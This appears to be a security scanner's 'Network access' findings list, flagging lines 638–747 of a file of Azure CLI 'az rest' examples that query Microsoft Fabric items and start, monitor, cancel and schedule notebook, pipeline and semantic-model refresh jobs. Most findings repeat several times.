or download from https://aka.ms/go-sqlcmd - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 638
# For a Warehouse: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 639
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 640
--resource "https://api.fabric.microsoft.com" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 641
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/warehouses/$ITEM_ID" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 645
# For a Lakehouse SQL Endpoint: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 646
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 647
--resource "https://api.fabric.microsoft.com" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 648
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/lakehouses/$ITEM_ID" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 651
# For a SQL Database: az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 652
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 653
--resource "https://api.fabric.microsoft.com" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 654
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/sqlDatabases/$ITEM_ID" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 667
NOTEBOOK_ID="<notebookId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 668
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 669
--resource "https://api.fabric.microsoft.com" \ - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 670
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances?jobType=RunNotebook" - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 679
PIPELINE_ID="<pipelineId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 680
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 681
--resource "https://api.fabric.microsoft.com" \ - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 682
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$PIPELINE_ID/jobs/instances?jobType=Pipeline" - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 688
MODEL_ID="<semanticModelId>" az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 689
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 690
--resource "https://api.fabric.microsoft.com" \ - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 691
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$MODEL_ID/jobs/instances?jobType=Refresh" - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 700
JOB_INSTANCE_ID="<jobInstanceId>" az rest --method get \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 701
az rest --method get --resource "https://api.fabric.microsoft.com" - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 702
--resource "https://api.fabric.microsoft.com" \ - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 703
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID" - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 709
az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 710
--resource "https://api.fabric.microsoft.com" \ - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 711
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$NOTEBOOK_ID/jobs/instances/$JOB_INSTANCE_ID/cancel" - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 731
EOF az rest --method post \ --resource "https://api.fabric.microsoft.com" \ - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 732
az rest --method post --resource "https://api.fabric.microsoft.com" - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 733
--resource "https://api.fabric.microsoft.com" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 734
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 744
# List az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 745
az rest --method get --resource "https://api.fabric.microsoft.com" \ - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 746
--url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 747
# Delete az rest --method delete --resource "https://api.fabric.microsoft.com" \ --url "https://api.fabric.microsoft.com/v1/workspaces/$WS_ID/items/$ITEM_ID/jobs/Pipeline/schedules/$SCHEDULE_ID" - Network accessline 747
